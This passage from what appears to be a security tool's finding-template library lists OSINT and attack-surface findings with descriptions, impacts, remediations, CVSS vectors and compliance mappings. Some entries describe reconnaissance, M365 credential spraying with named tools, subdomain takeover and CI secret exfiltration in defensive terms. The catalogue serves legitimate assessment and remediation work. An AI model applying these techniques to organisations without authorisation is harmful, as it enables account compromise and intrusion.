Impact: Open ports on subdomains expose services that may not receive the same security attention as the primary domain. These services often have default configurations, weak credentials, or unpatched vulnerabilities.
Remediation: Restrict open ports to those strictly required. Apply firewall rules to limit access to sensitive ports (databases, admin panels) by source IP.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
LOW OSIFT-004 — SSL/TLS Certificate Expiring Soon
Description: An SSL/TLS certificate for a discovered host will expire within 30 days. Expiry causes browser security warnings and can disrupt services.
Remediation: Renew the certificate before expiry. Implement automated certificate renewal (e.g., Let's Encrypt with certbot/acme.sh).
CVSS Vector: N/A
HIGH OSIFT-005 — SSL/TLS Certificate: Expired
Description: The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in certificate lifecycle management.
Impact: An expired certificate causes browser warnings that train users to bypass security prompts, and in many configurations disables certificate pinning. An attacker can present their own certificate to users conditioned to click through warnings, enabling silent interception of all encrypted traffic.
Remediation: Renew the certificate immediately and implement automated renewal (e.g., ACME/Let's Encrypt) to prevent future expiry.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MEDIUM OSIFT-006 — SSL/TLS Certificate Misconfiguration
Description: A certificate was found with a misconfiguration: hostname mismatch, self-signed cert on a public host, wildcard overuse, or weak signing algorithm (MD5/SHA-1).
Remediation: Replace self-signed or mis-issued certificates with certificates from a trusted CA. Use SHA-256 or stronger signing algorithms.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MEDIUM OSIFT-007 — DNS Misconfiguration
Description: A DNS record anomaly was detected: dangling CNAME, multiple conflicting A records, DNSSEC misconfiguration, or inconsistent NS delegation that could be exploited.
Impact: DNS misconfigurations can enable domain takeover, cache poisoning, or unauthorized zone transfers. An attacker exploiting these weaknesses can redirect traffic, intercept email, or impersonate the organization's services.
Remediation: Audit DNS records for the affected domain. Remove stale or dangling records. Ensure DNSSEC is correctly signed and validated.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
NIST 800-53: SC-20, SC-21
PCI DSS 4: 1.3.3
MEDIUM OSIFT-008 — SPF Record Missing
Description: No SPF (Sender Policy Framework) TXT record was found for the target domain. Without SPF, attackers can spoof email from this domain and bypass basic spam filters.
Remediation: Add an SPF TXT record to the domain's DNS: e.g., v=spf1 include:_spf.google.com ~all. Consult your mail provider's documentation.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1566 (Initial Access), T1036 (Defense Evasion)
NIST 800-53: SC-5, SI-8, SC-8
PCI DSS 4: 12.5.1
MEDIUM OSIFT-009 — DMARC Record Missing
Description: No DMARC (_dmarc.<domain> TXT) record was found. Without DMARC, there is no policy instructing receiving mail servers how to handle unauthenticated email from this domain.
Remediation: Add a DMARC record starting with p=quarantine or p=reject. Example: v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1566 (Initial Access), T1036 (Defense Evasion)
NIST 800-53: SC-5, SI-8, SC-8
PCI DSS 4: 12.5.1
LOW OSIFT-010 — DKIM Configuration Missing
Description: No DKIM (DomainKeys Identified Mail) selector was discoverable for the target domain. Without DKIM, email authentication is weaker and phishing risk increases.
Remediation: Configure DKIM signing on your mail server and publish the public key as a DNS TXT record under <selector>._domainkey.<domain>.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1566 (Initial Access), T1036 (Defense Evasion)
NIST 800-53: SC-5, SI-8, SC-8
PCI DSS 4: 12.5.1
HIGH OSIFT-011 — Breached Email Address Found
Description: An email address associated with the target organisation appeared in a known data breach (HIBP or Dehashed). The account holder's credentials may have been exposed.
Impact: Email addresses found in breach databases indicate that associated passwords may be available to attackers. Credential reuse across services means these compromised credentials may grant access to the organization's systems.
Remediation: Notify affected employees. Force password resets for all affected accounts. Enable MFA. Review whether compromised accounts have access to sensitive systems.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CRITICAL OSIFT-012 — Plaintext Credential Found in Breach Database
Description: A plaintext or reversibly hashed password was found in a breach database (Dehashed) for a target-domain email address. Direct account compromise may be possible.
Impact: Plaintext credentials from data breaches provide direct access if the user has reused passwords across services. This represents an immediate, exploitable risk requiring urgent password reset and multi-factor authentication enforcement.
Remediation: Immediately force a password reset for the affected account. Check for reuse across other systems (VPN, cloud consoles, O365). Enable MFA on all accounts.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CRITICAL OSIFT-013 — Information Disclosure: Github Secret / API Key
Description: GitDorker or TruffleHog identified a secret, API key, token, or private key in a public GitHub repository associated with the target organisation or its employees.
Remediation: Revoke the exposed secret immediately. Rotate all affected credentials. Scrub the secret from git history (git filter-repo). Enable GitHub secret scanning alerts.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH OSIFT-014 — M365 Valid User Enumerated
Description: TREVORspray or Azure AD authentication confirmed that a discovered email address is a valid M365/Azure AD account (user exists in the tenant). Confirms the account is a viable spray target.
Remediation: Enable account lockout and smart lockout in Azure AD. Implement Conditional Access policies. Consider disabling legacy authentication protocols.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CRITICAL OSIFT-015 — M365 Valid Credential Found (Credential Spray Success)
Description: TREVORspray successfully authenticated to M365/Azure AD with a discovered credential. Full account access to Microsoft cloud services may be available to an attacker.
Remediation: Immediately revoke the session, reset the password, and enable MFA for the compromised account. Investigate access logs for lateral movement. Review Conditional Access policies.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
HIGH OSIFT-016 — Subdomain Takeover Risk
Description: A subdomain has a CNAME pointing to an external service (e.g., GitHub Pages, S3, Heroku, Shopify) that is no longer claimed. An attacker could register the resource and serve malicious content under the organisation's subdomain.
Remediation: Remove the dangling DNS record immediately. If the external service is still needed, reclaim the resource. Implement subdomain monitoring.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
HIGH OSIFT-017 — DNS Zone Transfer Permitted (AXFR)
Description: The DNS server responds to unauthenticated AXFR zone transfer requests, exposing the complete DNS zone including internal hostnames, IP addresses, and mail infrastructure.
Impact: Permitted zone transfers expose the complete DNS zone contents including all hostnames, IP addresses, and service records. This provides an attacker with a comprehensive map of the organization's infrastructure without active scanning.
Remediation: Restrict zone transfer permissions to authorised secondary name server IP addresses using ACLs in the DNS server configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1590.002 (Reconnaissance), T1018 (Discovery)
NIST 800-53: SC-20, CM-7, AC-3
PCI DSS 4: 1.3.2, 6.5.1
INFO OSIFT-018 — Employee Email Address Harvested
Description: An employee email address was discovered via theHarvester, Hunter.io, LinkedIn, or public sources. Collected addresses support phishing and credential spray attacks.
Remediation: Educate employees on minimising personal information exposure. Implement email security controls (SPF, DKIM, DMARC, anti-phishing).
Effort: Moderate
CVSS Vector: N/A
MITRE ATT&CK: T1598.003 (Reconnaissance), T1589.002 (Reconnaissance)
NIST 800-53: PM-5, PL-4, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-019 — Web Technology Fingerprint
Description: The technology stack of a live host was identified (Wappalyzer, httpx, whatweb): CMS, web framework, server software, JavaScript libraries, CDN providers. Helps attackers target known vulnerabilities.
Impact: Technology fingerprints reveal the application stack, framework versions, and third-party components. An attacker uses this to target version-specific vulnerabilities and narrow exploit selection to applicable attack vectors.
Remediation: Remove version disclosure from HTTP headers (Server, X-Powered-By). Keep software up to date. Consider a WAF to obscure fingerprinting.
CVSS Vector: N/A
MEDIUM OSIFT-020 — Wayback Machine URL with Sensitive Path
Description: waybackurls or xurlfind3r discovered a historical URL containing a sensitive path (e.g., /admin, /backup, /.env, /config, /api/v1/keys) that was once publicly accessible.
Remediation: Verify whether the resource still exists. Remove sensitive files from public-facing web roots. Review server access logs for recent access to these paths.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
MEDIUM OSIFT-021 — Shodan Exposure — Open Service
Description: Shodan reports an open service on a target IP that is visible to the public internet. Banner data, software version, and service type are indexed and searchable by anyone.
Impact: Shodan-indexed services are visible to any internet user and often reveal version strings, default pages, and configuration details. Attackers routinely search Shodan for exposed services matching known vulnerable versions.
Remediation: Restrict access to services that do not need to be publicly reachable. Apply firewall rules. Update exposed services to current versions.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
HIGH OSIFT-022 — Shodan Exposure — Known CVE on Service
Description: Shodan has associated one or more CVEs with a service running on a target IP based on the service banner and version string. A known public exploit may exist.
Impact: Shodan-indexed services are visible to any internet user and often reveal version strings, default pages, and configuration details. Attackers routinely search Shodan for exposed services matching known vulnerable versions.
Remediation: Patch or update the affected service immediately. If patching is not immediately possible, apply mitigating controls (WAF rule, network restriction).
CVSS Vector: N/A
HIGH OSIFT-023 — Cloud Storage Bucket Found
Description: cloud_enum or manual enumeration discovered a publicly accessible cloud storage bucket (AWS S3, Azure Blob, GCP Storage) associated with the target. It may contain sensitive files.
Remediation: Immediately set the bucket to private unless public access is intentional. Audit bucket contents for sensitive data. Enable bucket access logging and alerts.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
INFO OSIFT-024 — Certificate Transparency Log Entry
Description: A certificate was found in CT logs (crt.sh, Certspotter, Facebook CT) for the target domain. The SAN/CN reveals subdomain names that may not be otherwise discoverable.
Impact: Certificate Transparency logs reveal all certificates ever issued for the domain, exposing subdomain naming patterns, internal service names, and historical infrastructure that may still be accessible.
Remediation: No direct remediation required. Review disclosed subdomains for unintended exposure. Consider certificate issuance monitoring for your domain.
CVSS Vector: N/A
INFO OSIFT-025 — ASN / IP Range Identified
Description: The Autonomous System Number (ASN) and associated IP ranges for the target organisation were identified via BGP data and asnmap. This defines the full network footprint for scanning.
Impact: Identified ASN and IP ranges map the organization's network allocations, revealing hosting providers, data center locations, and the full scope of publicly routable infrastructure that may harbor additional attack surface.
Remediation: No immediate action required. Ensure only intended IP ranges are associated with the organisation's ASN. Review WHOIS/ARIN records for accuracy.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-026 — WHOIS Data Exposure
Description: WHOIS records for the target domain revealed registrant contact details, nameserver names, registrar information, and registration dates. This information aids in phishing and social engineering.
Impact: WHOIS records may reveal registrant names, email addresses, phone numbers, and physical addresses of domain administrators. This personally identifiable information enables targeted social engineering against infrastructure personnel.
Remediation: Enable WHOIS privacy protection through your registrar for domains where registrant PII should not be public.
CVSS Vector: N/A
INFO OSIFT-027 — LinkedIn Employee Profile Enumerated
Description: Employee names, titles, and organisational roles were enumerated from LinkedIn. This information supports spear-phishing, social engineering, and targeted credential spray attacks.
Remediation: Educate staff on LinkedIn exposure. Implement strict email security (DMARC p=reject). Train employees to recognise spear-phishing.
CVSS Vector: N/A
INFO OSIFT-028 — Social Media Profile Linked to Employee
Description: maigret discovered social media profiles (Twitter, GitHub, Reddit, etc.) linked to an employee username derived from their email address. May reveal personal information useful for social engineering.
Remediation: Assess employee privacy settings. Provide training on personal operational security.
CVSS Vector: N/A
HIGH OSIFT-029 — Sensitive File Found via Web Crawler
Description: katana or xurlfind3r discovered a publicly accessible file containing potentially sensitive data: backup archives (.zip, .bak), configuration files (.env, .config), log files, or database dumps.
Remediation: Remove the file from the web root immediately. Audit web server directory listings. Restrict access to backup and config files via .htaccess or server config.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
LOW OSIFT-030 — HTTP Security Headers Missing
Description: httpx detected missing security headers on a live host: Content-Security-Policy, X-Frame-Options, Strict-Transport-Security, X-Content-Type-Options, or Referrer-Policy.
Remediation: Add security headers to web server or application configuration. Verify with securityheaders.com.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
CRITICAL OSIFT-031 — Weak or Default Credentials Accepted
Description: The target accepted well-known default or factory-set credentials, granting unauthorised access.
Remediation: Replace all default credentials with strong, unique secrets and enforce a password policy prior to any deployment.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.1
CISA KEV
MEDIUM OSIFT-032 — Uncover / Internet-Wide Scan Engine Match
Description: The uncover tool found the target in internet-wide scan engine results (Shodan, Censys, FOFA, Quake360, ZoomEye, CriminalIP). Services and their versions are publicly catalogued.
Remediation: Review all indexed services. Remove unnecessary public exposure. Ensure indexed software versions are patched and up to date.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
LOW OSIFT-033 — Wildcard DNS Record Detected
Description: A wildcard DNS record (*.domain.com) was detected. This causes all subdomains to resolve, which may mask dangling CNAMEs and complicate subdomain takeover detection.
Remediation: Remove wildcard records unless they serve a specific purpose. Document and review all subdomains that rely on wildcard resolution.
Effort: Moderate
CVSS Vector: N/A
NIST 800-53: SC-20, SC-21
PCI DSS 4: 1.3.3
INFO OSIFT-034 — Cloud Service Provider Asset Identified
Description: cloudlist or cdncheck identified assets hosted in cloud or CDN infrastructure (AWS, Azure, GCP, Cloudflare, Fastly, Akamai). Provides context for attack surface mapping.
Remediation: Ensure cloud-hosted assets have appropriate access controls, IAM policies, and logging. Review for misconfigured security groups or ACLs.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-035 — SEC EDGAR Filing Data Found
Description: Public SEC EDGAR filings for the target company revealed corporate structure, subsidiary entities, executive names, and legal entity identifiers (LEI, CIK). Useful for targeted attacks and social engineering.
Remediation: No direct remediation. Public regulatory filings are legally required for public companies. Ensure security awareness training covers executive impersonation risk.
CVSS Vector: N/A
INFO OSIFT-036 — Third-Party / Supply Chain Domain Identified
Description: Enumeration revealed domains or subdomains associated with third-party services, SaaS providers, or supply chain vendors (identified via CNAME targets, MX records, or certificate SANs).
Remediation: Maintain an inventory of third-party services. Assess vendor security posture. Monitor for supply chain compromise indicators.
Effort: Moderate
CVSS Vector: N/A
OWASP Web: A08:2021 – Software and Data Integrity Failures
MITRE ATT&CK: T1195 (Initial Access)
NIST 800-53: SA-12, SR-3
PCI DSS 4: 12.8.1, 12.8.4
INFO OSIFT-037 — Discovery: Email Address
Description: One or more email addresses associated with the target organisation or its employees were harvested during OSINT enumeration using tools such as theHarvester, Hunter.io, or Phonebook.cz. Exposed email addresses directly enable phishing campaigns, password spray attacks against cloud identity platforms (M365, Google Workspace), and account enumeration. Even a single valid address provides an attacker with a confirmed naming convention from which to infer additional accounts.
Impact: Harvested email addresses enable targeted phishing, credential stuffing against SSO portals, and username enumeration. Email naming conventions reveal the format used for all employees, allowing generation of valid email addresses for the entire organization.
Remediation: Educate employees on minimising professional email exposure in public contexts. Implement robust email security controls including SPF, DKIM, and DMARC at p=reject. Enable anti-phishing and impersonation protection in the email gateway. Monitor for credential spray activity against cloud identity providers.
Effort: Moderate
CVSS Vector: N/A
MITRE ATT&CK: T1598.003 (Reconnaissance), T1589.002 (Reconnaissance)
NIST 800-53: PM-5, PL-4, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-038 — Discovery: IP Address
Description: One or more IP addresses were mapped to the target organisation's assets through DNS resolution, certificate transparency log analysis, ASN enumeration, WHOIS records, or OSINT sources. Confirmed IP addresses expand the known attack surface beyond the primary domain, enabling direct host scanning, service fingerprinting, and identification of infrastructure not protected by a CDN or application-layer proxy.
Remediation: Reconcile all discovered IP addresses against the authorised asset inventory. Ensure cloud-hosted instances are protected by security groups or firewall rules limiting unnecessary public exposure. Review whether any discovered IPs host unintended or forgotten services.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
MEDIUM OSIFT-039 — Information Disclosure: Internal Server Directory Structure
Description: Internal filesystem path components were found exposed in publicly accessible sources, including HTTP response bodies, error messages, stack traces, application comments, or historical Wayback Machine snapshots. Exposed paths such as /var/www/app/releases/20231105/, C:\inetpub\wwwroot\api\, or /home/deploy/app/ reveal the server's operating system, directory layout, deployment tooling, and technology stack. This information assists attackers in crafting targeted local file inclusion, path traversal, or directory brute-force payloads.
Remediation: Configure the web application to display generic error pages rather than stack traces or exception details in production. Suppress server-side path information from HTTP response headers and application output. Review Wayback Machine archives for pages that previously revealed directory structure and ensure those resources are no longer publicly accessible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
INFO OSIFT-040 — Phone Number Pattern Spotted
Description: A pattern matching a telephone number (e.g., +1-555-867-5309, (800) 123-4567) was identified in publicly accessible web content associated with the target domain. Exposed phone numbers can be used to conduct vishing (voice phishing) attacks impersonating employees or IT support, to enumerate internal organisational structure, or to harvest contact information for social engineering campaigns targeting staff.
Impact: Discovered phone numbers enable vishing (voice phishing) and SMS-based social engineering attacks. Combined with employee names and roles from other OSINT sources, phone numbers allow targeted pretexting calls that bypass email security controls entirely.
Remediation: Review whether the exposed telephone number serves a legitimate public-facing business purpose (e.g., a sales or support line). For internal or employee numbers, remove them from public web properties. Conduct security awareness training focused on social engineering and vishing recognition.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1589.001 (Reconnaissance)
NIST 800-53: PM-5, PL-4, SC-28
PCI DSS 4: 12.5.1
HIGH OSIFT-041 — Potential PII Pattern — Social Security Number Format Detected
Description: Content matching the US Social Security Number format (XXX-XX-XXXX, nine digits with specific separators) was identified in publicly accessible content associated with the target domain or organisation. Exposure of SSN-format data in a publicly reachable location constitutes a potential data breach under US federal and state regulations (HIPAA, state breach notification laws, FTC Act). Even if the values are synthetic or test data, their public exposure indicates a failure in data classification and handling controls.
Remediation: Immediately investigate whether the detected values are real SSNs or test data. If real, initiate incident response per your breach notification obligations (HIPAA, state data breach laws). Remove the file or page containing the data from public access. Implement data loss prevention (DLP) scanning to detect SSN-format strings in web application output and source code repositories. Conduct a broader audit of publicly accessible content for additional PII exposure.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1589 (Reconnaissance)
NIST 800-53: SC-28, PM-5, PL-4
PCI DSS 4: 12.5.1
MEDIUM OSIFT-042 — SSL/TLS Certificate: Self-Signed
Description: A self-signed TLS certificate was identified on a publicly reachable host associated with the target organisation. Self-signed certificates are not anchored to a trusted certificate authority (CA), meaning standard clients — browsers, API consumers, mobile apps — cannot cryptographically verify the server's identity. This condition enables trivial man-in-the-middle attacks: an attacker presenting their own self-signed certificate will produce an identical trust error to the legitimate server, making MITM transparent to users already conditioned to accept the warning.
Impact: Self-signed certificates are not validated by any trusted certificate authority, meaning clients cannot verify the server's identity. An attacker can trivially generate their own self-signed certificate and perform man-in-the-middle attacks without detection.
Remediation: Replace the self-signed certificate with one issued by a publicly trusted CA. For internet-facing services, use Let's Encrypt via ACME automation (certbot, acme.sh, or Caddy) for zero-cost, automatically renewing certificates. For internal services, establish an internal CA with proper trust distribution rather than using ad-hoc self-signed certificates.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
INFO OS-001 — Phone Number Pattern Spotted - Unconfirmed
Impact: Discovered phone numbers enable vishing (voice phishing) and SMS-based social engineering attacks. Combined with employee names and roles from other OSINT sources, phone numbers allow targeted pretexting calls that bypass email security controls entirely.
Remediation: Review publicly accessible pages, metadata, and contact forms for inadvertent phone number exposure. Apply data minimisation principles — only publish contact numbers that need to be public. Monitor external sources with OSINT tooling for leaked PII on a periodic basis.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.001 (Reconnaissance)
NIST 800-53: PM-5, PL-4, SC-28
PCI DSS 4: 12.5.1
INFO OS-002 — Social Security pattern detected:
Remediation: Immediately investigate any SSN-pattern strings discovered via OSINT to determine if real data has been exposed. If confirmed, invoke the incident response process, notify affected individuals, and report to relevant data protection authorities under applicable breach notification requirements. Implement DLP controls and audit document stores for improperly shared sensitive identifiers.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1589 (Reconnaissance)
NIST 800-53: SC-28, PM-5, PL-4
PCI DSS 4: 12.5.1
INFO OSIFT-043 — DNS: DMARC record found
Description: A DMARC (Domain-based Message Authentication, Reporting and Conformance) record was found for the domain. DMARC instructs receiving mail servers on how to handle messages that fail SPF and DKIM validation checks.
Impact: A properly configured DMARC record instructs receiving mail servers to reject or quarantine spoofed emails. While this is a positive security control, the DMARC policy details reveal the organization's email authentication architecture and reporting endpoints, which inform phishing campaign design.
Remediation: Ensure DMARC policy is set to 'reject' (p=reject) for maximum protection against email spoofing. Configure aggregate and forensic reporting endpoints to monitor policy violations.
Effort: Easy
LOW OSIFT-044 — DNS: Missing CAA Record
Description: No Certificate Authority Authorization (CAA) DNS record was found for the domain. CAA records restrict which certificate authorities are permitted to issue certificates for the domain.
Impact: Without a CAA record, any certificate authority worldwide can issue certificates for this domain. An attacker who compromises or social-engineers a less-secure CA can obtain a trusted certificate, enabling undetectable man-in-the-middle attacks against the organization's users and services.
Remediation: Add a CAA DNS record specifying the authorized certificate authorities for the domain. Example: 'example.com. IN CAA 0 issue "letsencrypt.org"'. This prevents unauthorized CAs from issuing certificates.
Effort: Easy
NIST 800-53: SC-17
INFO OSIFT-045 — nslookup forward lookup: {record_summary}
Description: Forward DNS lookup enumeration was performed, revealing mail exchange (MX), name server (NS), text (TXT), and other DNS records for the domain.
Impact: DNS record enumeration reveals mail servers, nameservers, SPF policies, and other infrastructure details that map the organization's digital footprint. An attacker uses this data to identify email providers, hosting relationships, and security mechanisms that inform subsequent attack phases.
Remediation: Review DNS records for unnecessary information disclosure. Ensure SPF, DKIM, and DMARC are properly configured. Consider restricting zone transfers and minimizing publicly exposed DNS records.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
MEDIUM OSIFT-046 — Typosquatting Domain Detected
Description: One or more domains visually or typographically similar to the target domain were detected with active DNS resolution, indicating potential typosquatting infrastructure.
Impact: Typosquatting domains that resolve to active infrastructure can be used for phishing, credential harvesting, or malware distribution targeting the organization's users and customers. An attacker registers domains visually similar to the legitimate domain to intercept mistyped URLs or craft convincing phishing campaigns.
Remediation: Monitor for typosquatting domains using automated tools (dnstwist). Consider registering common misspellings of the domain proactively. Implement DMARC to prevent spoofed emails from look-alike domains. Establish a domain takedown process with registrars.
Effort: Moderate
MITRE ATT&CK: T1583.001 (Resource Development)
INFO OSIFT-047 — DNS: A Record
Description: A record maps a domain to an IPv4 address, revealing the IP infrastructure behind a hostname.
Impact: Exposing A records allows attackers to identify hosting providers, colocated services, and network topology for targeted attacks.
Remediation: Minimize unnecessary A records. Use CDN or proxy services to obscure origin server IPs where appropriate.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-048 — DNS: AAAA Record
Description: AAAA record maps a domain to an IPv6 address, revealing dual-stack infrastructure.
Impact: IPv6 records can expose additional attack surface on hosts that may have different firewall rules or monitoring than their IPv4 counterparts.
Remediation: Ensure IPv6 hosts have equivalent security controls to IPv4. Remove AAAA records for services not intentionally dual-stacked.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-049 — DNS: MX Record
Description: MX record identifies the mail servers responsible for accepting email for the domain.
Impact: Attackers use MX records to identify email infrastructure, target mail servers for exploitation, and craft phishing campaigns that mimic legitimate mail routing.
Remediation: Ensure MX records point only to authorized mail servers. Implement SPF, DKIM, and DMARC. Remove MX records for domains that do not send or receive email.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-050 — DNS: NS Record
Description: NS record identifies the authoritative nameservers for the domain.
Impact: Knowledge of nameservers enables DNS cache poisoning attempts, zone transfer attacks, and helps map the organization's DNS infrastructure and hosting relationships.
Remediation: Use reputable DNS providers with DNSSEC support. Restrict zone transfers to authorized secondaries. Monitor for unauthorized NS record changes.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-051 — DNS: TXT Record
Description: TXT records contain arbitrary text data including SPF policies, DKIM keys, domain verification tokens, and service configuration.
Impact: TXT records can leak internal service configurations, reveal third-party integrations (Google Workspace, Microsoft 365, etc.), and expose verification tokens that may enable service takeover.
Remediation: Audit TXT records regularly. Remove obsolete verification tokens. Ensure SPF records use restrictive policies (-all). Implement DKIM and DMARC.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-052 — DNS: SOA Record
Description: SOA record contains the primary nameserver, responsible party email, and zone serial/refresh parameters.
Impact: SOA records reveal the primary DNS administrator's contact, zone update frequency, and infrastructure details useful for social engineering and timing attacks around zone refreshes.
Remediation: Ensure SOA contact email does not expose internal personnel. Use reasonable TTL and refresh values.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
INFO OSIFT-053 — DNS: CNAME Record
Description: CNAME record creates an alias from one domain to another canonical name.
Impact: CNAME records can reveal internal naming conventions, third-party service dependencies, and may be vulnerable to subdomain takeover if the canonical target is decommissioned.
Remediation: Regularly audit CNAME records for dangling references. Remove CNAMEs pointing to decommissioned services to prevent subdomain takeover.
Effort: Easy
MITRE ATT&CK: T1596.001 (Reconnaissance)
NIST 800-53: SC-20
HIGH OSIFT-054 — GitHub Actions: Workflow Injection Vulnerability
Description: gato identified a GitHub Actions workflow that uses unsanitized expression substitution (${{ }}) with attacker-controlled input (such as issue titles, PR bodies, or commit messages). This allows an attacker to inject arbitrary code that executes in the workflow runner context.
Impact: Workflow injection allows an attacker to execute arbitrary code in the CI/CD environment. This can lead to secret exfiltration (GitHub tokens, deployment keys, API credentials), supply chain compromise (modifying build artifacts), lateral movement to other repositories, and persistent access via self-hosted runner compromise.
Remediation: Use intermediate environment variables instead of direct expression substitution in workflow run steps. Replace ${{ github.event.issue.title }} with an env: block that assigns the value to an environment variable, then reference the variable in the script. Use actions/github-script with the github context object instead of shell interpolation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1195.002 (Initial Access), T1059 (Execution)
NIST 800-53: SA-11, SI-7
PCI DSS 4: 6.2.4, 6.3.2
HIGH OSIFT-055 — GitHub Actions: Secret Exfiltration Path
Description: gato identified a workflow configuration where secrets are accessible to jobs or steps that process untrusted input. An attacker who can trigger the workflow (via PR, issue, or fork) may be able to exfiltrate secrets through environment variables, workflow artifacts, or out-of-band channels.
Impact: Secret exfiltration from CI/CD pipelines can expose deployment credentials, cloud provider keys, signing certificates, and API tokens. Compromised secrets enable lateral movement to production environments, supply chain attacks via signed releases, and persistent access to organizational infrastructure.
Remediation: Restrict secrets to specific jobs using environment-level scoping. Use OIDC tokens instead of long-lived credentials for cloud authentication. Require approval for workflows triggered by external contributors. Avoid passing secrets to steps that handle untrusted input.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1552.001 (Credential Access), T1195.002 (Initial Access)
NIST 800-53: SC-28, AC-6
PCI DSS 4: 3.5.1, 8.3.1
MEDIUM OSIFT-056 — GitHub Actions: Overly Permissive Permissions
Description: gato identified a GitHub Actions workflow with overly permissive GITHUB_TOKEN permissions (such as write-all, admin, or contents: write). Workflows should follow the principle of least privilege and request only the minimum permissions required for their function.
Impact: Overly permissive workflow tokens increase the blast radius if the workflow is compromised. A write-all token can modify repository contents, create releases, manage issues/PRs, push to protected branches, and modify repository settings. If combined with a workflow injection, an attacker gains full repository control.
Remediation: Apply least-privilege permissions to all workflows. Use the permissions: key at the workflow or job level to request only required scopes (e.g., contents: read, issues: write). Avoid write-all or admin permissions.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
MITRE ATT&CK: T1078.004 (Persistence)
NIST 800-53: AC-6
PCI DSS 4: 7.2.1
